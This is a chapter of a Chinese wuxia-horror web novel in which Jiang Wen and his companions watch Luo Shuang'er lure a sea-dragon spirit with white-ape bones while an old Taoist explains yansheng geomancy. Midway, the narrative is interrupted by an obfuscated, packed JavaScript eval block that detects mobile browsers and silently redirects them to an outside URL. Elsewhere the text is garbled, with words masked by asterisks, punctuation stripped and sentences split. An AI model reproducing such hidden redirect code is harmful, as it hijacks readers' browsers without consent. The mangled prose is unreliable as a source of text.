第一百九十六章 五羊今安在

作品:《诡秘武林:侠客挥犀录

    滔天骇浪如水面遭遇擂鼓声声,一波又一波持续地从天边急奔来,水势浩浩汤汤不见断绝,犹如千军万马奔袭而来,岸上的三江合流之水只如残兵孤军徒劳奋战,终究也抵不住源自沸海深处的无穷波涛。


    淡水与海水交汇的一线就是兵锋所交的战场,惨烈厮杀在一处宛如白丝银练,将战场大剌剌地横亘在江天海浪之间,又因为江水的逐渐式微,败相终显,这条分明无比的界线正缓缓向陆岸移动,映衬着海天深处的诡异铜船身上的似血残霞,心中唯有苍生疾苦的**之念。


    江闻之所以能看的这么清楚,是因为他正站在岸渚的高处眺望,此处被称为浴日亭,本就在扶胥镇南海神庙之右,由于有小丘屹立高出,浴日亭独冠其巅,前瞰大海时茫然无际,迎着海风只觉得呼吸都为之一窒。


    此时眼前的一幕,更是令人神伤于凡人如何有办法与天地之力抗衡,又如何能从茫然无边的大恐怖中脱身。


    “贵人,章丘岗下已经被洪波包围,那位姑娘不会有事吧?”


    原先不敢踏入南海古庙的疍民见到江闻出现,终于像见到了主心骨一般,忍不住往这里挪动了过来,推举出了一个老者前来问话,“水底的蛟鬼就要上岸了,那位姑娘呆在那里恐怕有性命之忧!”


    江闻的思绪被打断,恍然才发觉骆霜儿的身影已经逐渐模糊,只剩山下一点微不可查的渺小背影。


    “想来无妨,我也想看看骆家有什么本事,自信可以**住蛟鬼。”


    他还记得骆元通提到过,蛟鬼因为历朝历代都被反复**,不是出现一点疏漏就能走脱,他只要在龙穴重新埋下镇物就能化解灾劫,可骆元通却没说过这尊广利洪圣大王神像底下,会是这么一具怪异绝伦的白猿尸骨。


    这样的镇物究竟是如何起作用的?


    江闻转头看向了疍户老者,压低声音问道:“应老先生先前提到过你们有入水驱邪之能,如果骆姑娘这次的事有不遂,可还有什么办法补救?”


    疍民老者闻言,本就紧张的脸上瞬间露出了一个难看至极的表情,黝黑粗糙的皮肤带着暗沉变形的纹身刺青,连带嘴角微微抖动,许久才张开嘴露出糟烂的牙齿,点了点头。


    “我们有法子救人,只是……”


    江闻不再说话,如今疍民被尚可喜的手下扑杀殆尽,果然就如应老道说已经失去掌控能力,就算真是蛟龙后代也无能为力。对方的意思如今也很明显,他们下去可能顺利救到人,但更可能会死。


    “蛟


    鬼要上岸了我看到了……”


    老疍民死盯着海潮喋喋不休其余的疍户也聚做一团满脸忧虑


    只见那条越来越大的白丝银练仿佛万条银**正从海中游来让江闻不禁恍惚片刻联想起了长江流域广为流传的“走蛟”之事——出身四川、重庆一带、住在长江岸边的人相信一眼就能够明白其中的意思。


    如果说蛟鬼上岸是潮灾摧残海岸那么走蛟入海就是洪水肆虐内陆两者似乎有某种程度上的共同点。传说蛟龙自带三尺浪在深山大泽中潜伏修炼千年等到道行深了便会沿着长江顺流而下洄游大海一路上卷动千层巨浪万吨暴雨庞大的身躯隐藏在水底河道击碎拦路河堤可怕的怪力肆意毁坏沿途建筑所到之处便是万丈的洪水泛滥。


    在这些经不住细考的传闻中往往都是些原本很正常的水流忽然间就卷起了惊涛骇浪紧接着坚固无比的河堤大坝就被一股神秘的力量从底部摧毁随后四处洪水肆虐无状良田千亩淹没殆尽期间还会有电闪雷鸣风雨交加伴随清晰可闻的龙吟或牛哞声响彻。


    这些都是很离奇诡谲、很难详细解释的事情故而许多老一辈住在江河岸边的人往往相信长江之所以发大洪水就是潜伏在水底的大龙兴风作浪。


    这类传说究其根源无非是南方一些地区原本坚固的河堤大坝无缘故地突然间坍塌崩垮。后在某些神智恍惚的目击者添油加醋描述后事情才因众说纷纭逐渐离奇诡异到了极点。


    但这些本来不过是乡野间荒诞不经的传闻里似乎总有些如出一辙的线索在埋布人们都说等洪水消退之后再去看就会发现河道间有一条泾渭分明的线痕。就像是深藏洪波的河床底部曾经有**蛇一类的庞然大物东西游过可痕迹深入地下好几尺不知道竟是怎样庞大的蛇类才能留下如此巨大的压痕……


    以江闻的内功修为自然能够辟开天地玄关与外界交感玄之又玄地体察到了骆霜儿所处位置的气息但真正面对着重压的骆霜儿才真正知道其中恐怖瞳孔中的情绪也逐渐消融。


    此时骆霜儿已经孤身一人来到岸边纵身飞跃轻巧如燕才几个起落就稳站在一块巨石之上那霜雪般的身姿傲立于瀚海之间映衬着无穷无尽的暗色仿佛是世间一抹永远也不会消褪的素彩。


    她的眼神澄净无比纤尘不染的模样足以映射出


    她心灵的空镜,如果内心只是单纯如白纸,那么一点朱砂黛石就能点染留痕,唯有空净到如皎月一般,才能一丝不漏地把全部情感反射。


    袁紫衣可能也没有发现,她之所以如此喜欢和骆霜儿呆在一起,是因为袁紫衣总能在她身上看见自己的影子,内心情不自禁地就生出了关爱怜惜的想法,两人相处之久,她却从没听见过骆霜儿做出她料想之外的反应。


    心境圆融,纤尘不碍,骆霜儿此时也染上了沸海汹涌的气息,隐隐与江天融为一体,心中却涟漪不生毫无惶恐,只是伫立在岸边静静地等待。


    她在等,因为只有一次机会。


    另一边,原本躲在庙里的傅凝蝶和袁紫衣也赶了出来,来到了江闻所在的高崖之处浴日亭中,有些紧张地眺望着东南方向。


    “师父,骆姐姐不会有事吧?海里真的会有蛟龙**吗?


    傅凝蝶神情紧张地看着南海方向,总觉得那抹渺小的身影只需要一个浪头袭过就会被抹消,彻底消失在她的视线里,连忙抓着江闻衣襟问道。


    江闻摊开双手,并没有直接回答。


    “蛟龙之事有没有,这谁也说不准,可你若是问我这儿有没有风险,那必然是有的。凝蝶你读书不少,‘潜鳞有饿蛟,掉尾取渴虎’的典故,你听过没?


    江闻如此这般地说着,同时也是在说给神游物外的袁紫衣听,“那是前宋绍圣元年,东坡居士被贬离这里不远的惠州任宁远军节度副使的虚衔,与儿子苏过游览当地白水山,就曾亲眼见识过蛟龙之恶。


    “师父,你说的是不是东坡先生写的《游白水书付过》?这不过是一些游览的漫笔,哪有师父你说的这个故事?


    傅凝蝶疑惑地看着江闻,却发现江闻的表情十分古怪。


    “我也是在会仙观某部孤本里看到的,故事颇为荒诞离奇。那是一只老虎来到水潭饮水,潭中的蛟龙认为这只虎侵犯了自己的领地,就跳出水面与虎搏战,结果渴虎不敌饿蛟,被‘尾而食之’,即用尾巴击昏缠起吞吃了。东坡居士据此作诗道:‘潜鳞有饿蛟,掉尾取渴虎‘,我猜是苏家后人觉得这个诗句荒诞不经,正所谓子不语怪力乱神,故而才被删改剔除,以至于如今的文集只字不存了。


    “东坡居士出身四川眉山,对于蛟龙之事按理说不会道听途说,这只言片语说的就是水边之险,而骆姑娘此次最险之处,就在于如何不下水将蛟鬼引出来,唯有想办法引其出洞,才能避免像渴虎那样,被饿蛟缠在主场尾而食之。


    江闻神色有些严峻地看着远处发觉骆霜儿仍悄无声息地站立在原地依然视眼前恶浪拍案如无物连忙阻拦住蠢蠢欲动想要下山助阵的袁紫衣。


    “为什么拦着我?”袁紫衣不满地问道。


    “袁姑娘稍安勿躁如今骆姑娘到水边这么久可能以身为饵我们谁也不能插手一定要确保她所走的每一步都稳在计划之中。”


    就像为了证明江闻的说法枯立许久的骆霜儿在此时忽然动了起来她面对着眼前凶狂至极的江水忽然抛出了两块硕大怪异的类人型骨骼。


    两块白猿的尸骨缓缓沉入水中起初尚没有丝毫异样就像寻常的船木、坚石没入水中甚至溅不出半点水花。


    但片刻之后原先汹涌的海水忽然沉寂停顿随后更不知为何冰冷的水面上开始哧哧作响仿佛白猿尸骨与海水正犯起某种难明的化学反应在水中激烈碰撞冲突着深暗浑浊的海水毫不留情地想要销蚀白猿尸骨一道道青烟就从海面上飘荡了起来经久仍缭绕不去。


    江闻惊讶地看着眼前这一幕猜不透这貌不惊人的白猿尸骨为何如此神异。他从一道道逆卷倒流、沉波潜影的反常现象里察觉到了沸海中的一丝愠怒之气似乎眼前的“沸海”活了过来真的开始被猛火煮沸幽暗水底也鼓出一个又一个硕大的气泡连天蔽海、密密麻麻地出现竟然布满了南海古庙前的每一寸海面!


    “师父在那边水底下……好像有东西要出来了……”


    傅凝蝶打了个哆嗦她已经看见深沉的海水底下冒出无数的黑影。只见这些潜影比浪涛更深邃比鱼鳖更颟顸比水草更怪诞就像一艘艘载满了鬼祟不祥事物的小船转瞬就已经正面包围住了孤身一人骆霜儿。


    仅仅是片刻水花扬起的轻微声响就此起彼伏即便隔着遥远距离江闻他们也能从让人汗**倒立的恐怖画面里清清楚楚“听”见这些让人不安的扑腾声响每一声似乎都直接于鼓膜上敲响再沿着骨骼传导到身上的每一块肌肉化作不可遏制的颤栗。


    因为此时宽阔的海面上


    “好多**!”


    袁紫衣


    面色发青说道浮海群尸的恐怖场面着实让她无法接受更不懂为何忽生变故。她想要再问问江闻知不知道却发现江闻的表情有些诡秘赫然像是景象竟在他意料之中。


    可这样的场面如何能让人接受?!


    海面上有无数的死尸整齐飘荡着他们除了钙化的外壳内部能被微生物腐蚀的部分已经彻底消解最终总的质量越变越轻仅剩下白惨惨且栩栩如生的人壳。无数的浮尸躲在幽绿的水中顺水而行男尸前倾女尸后仰僵硬地随着水的流动而起伏好像活人一般诡异赫然是一具又一具身体僵硬无比的僵尸!


    言语无法表达的诡异气氛顿时飘荡于沸海之上这些僵尸已经越来越近相隔遥远也能看见周身裸露的肌体呈灰白蜡样四肢僵硬屈曲皮外结了层薄冰似的尸蜡所以皮肤才逐渐变成统一的灰白。


    无数诡异僵尸在海面的涡旋中沉浮、飘动与骆霜儿仅剩咫尺之隔乃至于随时都能触摸到她的鞋尖。


    “这样的浮尸我似乎见过样子竟和荔枝湖的见闻类似……”


    江闻与袁紫衣对视一眼缓缓说道却发现骆霜儿似乎毫不在意继续将手中剩余的白猿尸骨抛入水中引发着更大的汹涌波涛也吸引着这片大海底下的无穷恨意海面僵尸也持续不断地出现并且随着海潮循环起伏一点一点向骆霜儿靠近似乎随时都有可能暴起伤人。


    “这不对水底怎么会藏着这么多死尸?!”


    被惊住的袁紫衣终于反应过来连忙咬紧银牙对江闻说道“章丘岗村拢共也没这么多人!况且这里的海水也不算深平日里渔船货艇肯定经常往来怎么可能不被人发现?!”


    “袁姑娘你说的不差这些浮尸的来历恐怕另有蹊跷……”


    江闻负手站在浴日亭中斜睨袁紫衣一眼缓缓说道


    江闻缓缓转身果然看见了削瘦跛脚的应老道出现在了不远处正沿着山道往浴日亭中赶来随即笑着说道。


    “应老前辈我等了这么久你为何姗姗来迟也?”


    骆元通口中所说的两条路江闻已经做出了选择而应老道也约好了会和他在这里汇合一同**蛟鬼如今迟到许久终于出现了。


    许久不见的应老道苍癯模样此时更加憔悴老眼见到阴沉天气里微弱的光线都有些刺痛。原本的他


    应该是身处南越文王墓中试图破解尚可喜孜孜以求的长生之秘显然还不适应外面的光亮可他如今竟能悄无声息来到这里所代表的就是……


    应老道长长叹了一口气:“让江掌门久等了。我那孽徒耍了好些手段处处不留余地把广州城下的密道改的面目全非幸好老朽还有骆家相助内外兼修这才能把密道重新打通。”


    他意味深长地看着远在岸边的骆霜儿显然他的脱困与白猿尸骨入水、海底僵尸上岸有明显关联或着可以说是直接影响。


    “想到不到骆姑娘已经走到这一步了老朽差点就来迟了……”


    江闻缓缓点头:“还不算迟人来了就好。此时务必先让村民们也从密道里脱险


    应老道胸有成竹地说道:“江掌门放心刚才老朽已经吩咐村民逐一离去此时的要务还应该是**水底蛟鬼才是。”


    但听到这个话题江闻却带着疑惑瞥了应老道一眼。


    “老前辈那被李行合篡改的密道已经恢复那如今骆府中的墨龙碑也应该已经生效可依现状看来为什么只惊出了满海的浮尸?”


    原本秦代船台冰夷像的密道通往南海古庙却被李行合篡改到了雷老虎的府上此时能够恢复就代表着多了一条逃生之路至少闲杂人等都可以先行离去剩下的人专心来**蛟鬼但不管怎么说一切问题最终还是要着落在蛟鬼之上。


    如果能制住这漫天霪雨就算呆在原地也未必没有生路而如若制不住异状再怎么逃窜躲藏也未必能活命死生终究悬于一念之间。


    “江掌门有所不知这些宋尸潜藏海底几百年虽然可怖却不会作祟。恢复广州密道只是开头第一步论及**蛟鬼之事复杂万分当然没有这么简单了。”


    应老道对于这个问题似乎早有准备捻须说道“你要知道蛟鬼并非这世上寻常之物在常人眼中无形无质不可捉摸故而刀剑兵器水火之灾都不能伤之我苦思良久才领悟出只能以《太公金匮》中所载的厌胜之法破之——此术源流可溯至上古三代自然威力无穷。”


    江闻听完点了点头虽然依旧不太清楚他们想要做什么心里却多了一丝的明悟相比江闻原以为物理上的压服镇制或许厌胜之法这种冥冥之中的克制调服更能起效化为一种玄学上的**。


    厌胜也叫压胜、魇胜是亘古相传的一系列调局秘术的总称。所谓压胜即【压


    而胜之】的意思具体指通过某些特有手段去压服一切对自己不利的人、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15428307|169159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    物、事甚至不良运势暗压经常沦为算计人的鬼蜮伎俩而大势上的明压就是利用易学中的生克、象应等原理来进行光明正大的调运布局。


    这种方术在古代广为流传如在秦始皇派屠睢入粤发现岭南背山面海、地势开阔有“偏霸之气”。特别是城北五里处有一座马鞍岗


    为稳固帝位永葆秦朝屠睢就派人去凿马鞍岗以凿断广州的龙脉破坏广州的风水这本身就是压胜术的一种运用。此事也并非虚构至少《广州记》的作者东晋裴渊曾说在他所处的时代还看得到秦始皇凿山遗处堪能证明秦皇凿山之事属实。


    更重要的是秦始皇凿断龙脉的做法似乎起了作用直到元末广州才有了“天子”气象。据史**载元末时增城人朱光卿起兵建立了大金国;广州人林桂芳起兵建立了罗平国。


    “应老前辈据我所知这厌胜之法所需的镇物非得用被**物惧怕的东西才能起效可水底蛟鬼无形无质金木水火难以毁伤又会怕什么东西呢?”


    “这个嘛世间万物相克相生自有玄机。”


    听清江闻的疑问应老道沉吟片刻后指着远处骆霜儿所在的江畔说道:“骆姑娘看来已经取出了白猿尸骨。此物乃是唐人镇下之物对于蛟鬼自然有克制之功哪怕被孽徒设法破去也仍留有些许余效故而此物自然是必不可少的。”


    “我出手布下的这处钓龙局乃是鉴于南海古庙的风水形势独特东江、北江和西江流向也都是指向广州府三水汇集在大明堂后于此地入海只要能借机钉住七寸要害则蛟鬼纵使凶威万丈此时也将寸步难行。”


    江闻愕然地看向应老道。


    “等一下怪不得疍民说龙尸未腐就会化为蛟鬼骆元通也说这蛟鬼就是广州城下的龙气……这座南海古庙建在这里竟然也是为了将龙气紧紧地钉缚住?”


    应老道喟然叹道。


    “正是如此秦皇当年断龙毁穴本就是极不明智的做法。他们听信术士之言大肆开掘殊不知挖山凿沟顶多能让‘山龙’的气脉受伤若想要彻底毁掉‘山龙之气’没到移山掘地的程度是绝不可能的。”


    应老道神情严肃地点头道:“秦皇手下的术士自恃甚少先前是已经凿淮水破去了金陵龙气自以为深谙山龙玄机却不知广州府下所藏的乃是九州唯一的一条‘海


    龙’行差踏错稍有不慎就会将岭南半壁沦入沸海之中!”


    江闻瞠目结舌龙脉之死竟然为化为如此大的灾祸这是江闻从未知晓的事情而应老道见江闻还有些许不相信干脆继续说道。


    “江掌门先前你已经亲眼目睹过秦人的船台他们在洞中所塑的冰夷神像其实就是屠睢凿断龙脉后遭遇潮灾被困番禺费尽心机才留下的镇物。他想要以水神对付死去肆虐的蛟鬼可秦人久处江河却不懂得冰夷只是河伯水神如何能压制住南海蛟鬼?”


    “原来如此想不到前人还走过如此歧路。”


    江闻恍然领悟这个道理泛滥汹涌的黄河在秦人眼中已经是无法抵挡的洪水猛兽可他们背靠着东、西、北三江之水


    应老道又向山边一指正对着悠久岁月嵬然不动的南海古庙。


    “你口中的歧路当真不可计数直至唐代才找到了压胜蛟鬼的真正办法那就是这座南海古庙。”


    “海于天地间为物最钜昌黎先生所亲书的《南海神广利王庙碑》将其中根由说得很清楚了‘自三代圣王莫不祀事考于传记而南海神次最贵在北东西三神、河伯之上号为祝融’。当初河伯无法制住的蛟鬼自然只能请出最尊最贵的南海祝融了!”


    古人以四海之南海神**蛟鬼这件事简直是天方夜谭但屈大均在《广东新语》中确实明确说到:“南海之帝实祝融祝融火帝也故南岳主峰名祝融其离宫在扶胥。”“扶胥”指的就是南海古庙左近的这处章丘岗村因此这个村子虽看着破败但在千年之前就被人当为“火神离宫”来建设用以供奉信仰独一无二的“南海之帝”!


    江闻缓缓吐出一口气毫不犹豫地接着应老道的话尾说了下去。


    “原来如此唐人……不应该是冯家和冼家他们久居番禺后发现了真相知晓唯有祝融这个南海之神足以**蛟鬼所以才特意建庙祀奉力求做到形神兼备!而蛟鬼乃是龙脉之余属**蛟鬼相当于**广州龙气因而此事在皇帝眼中不异于忠心耿耿的表现故而历代对广利洪圣大王的封号赏赐从不断绝!”


    应老道用一种孺子可教的神态看着江闻又打量了旁边如坠云雾的袁紫衣和傅凝蝶补充说道。


    “归根结底老夫的钓龙局不过是拾人牙慧当年龙壁之下的白猿尸骨不过是一味香饵蛟鬼似乎


    对这白猿之属的夷希之物情有独钟,因此骆元通才想尽办法找来南少林密藏的墨龙碑。两者虽然形制殊不相同,却自有不为人知的联系,只要墨龙碑的气息出现在密道附近,蛟鬼便绝不会离得太远!


    但是江闻的眉头依旧紧皱,手指也忍不住摸上了腰间剑柄,远视海天的眼神蓦然凌厉了起来。


    “应老前辈可你知不知道,先前章丘岗村的村民在走投无路之下,已经将洪圣庙中的种种事物抛入大海,就连你口中的《南海神广利王庙碑》都不曾幸免。他们想要驱散这滔天霪水,这想来是他们这一系村人代代相传的秘法,可是即便请出洪圣大王的神像,都已经毫无用处了,恐怕……


    话不需要说完,江闻眼中已经满是隐忧,剩余最后一丝庆幸是见到村人正鱼贯而行,借由古庙外东南侧的古井密道消失不见,至少阖村倾覆的惨祸已经可以避免。


    “各位也赶紧走吧。这里越发危险了。


    江闻对身旁的几名疍民说道,这些留下来的青壮年却毫不犹豫地摇头拒绝,表示要在这里共进退。


    江闻无奈转头接着对应老道说。


    “仗义每多屠狗辈,老前辈,你知不知道吴六奇把我们都出卖了。


    听到这句应老道也逐渐神情严肃,眼下万般计划按部就班,都不如在关键时候时分的一锤定音,他与骆元通制定的诸多计划能够排除万难,此时也必须将一切赌在最关键的环节上。


    如今背叛也好、失利也罢,只要这一步能走出去,胜券就还握在己方的手中!


    “吴六奇如此反复无常,老朽也是始料未及。江掌门,唯今之计只有尽人事听天命,且看那边如何吧……


    江闻缓缓转过头去,发现静立于沧溟海天之中,几乎要与漫天波涛合为一体的白衣少女骆霜儿,忽然高高抬起了柔荑………


    …………


    眼前没有音律、节拍,江闻不知道该如何形容自己的所见,因为骆霜儿竟然在海边忽然跳起舞蹈,脚步踩着莫名的鼓点翩然起舞,舞姿妩媚、韵律优雅,自始至终给人以美感。


    骆霜儿脚下的每一步,都像是落在人们的心上,手上的每个姿势,都像在拨动着人们的心弦,她心无旁骛地舞蹈了起来,在礁石上翩跹不绝,仿佛无数尸海之上浮动的一朵白莲,步步绽放出属于她的光彩。


    江闻眼前的景象慢慢幻变,仿佛海边是梳高髻、戴宝冠,着璎珞、舞飘带的,浓墨重彩、不悲不喜。弥漫的海雾化为仙雾,她在云雾缭绕中衣带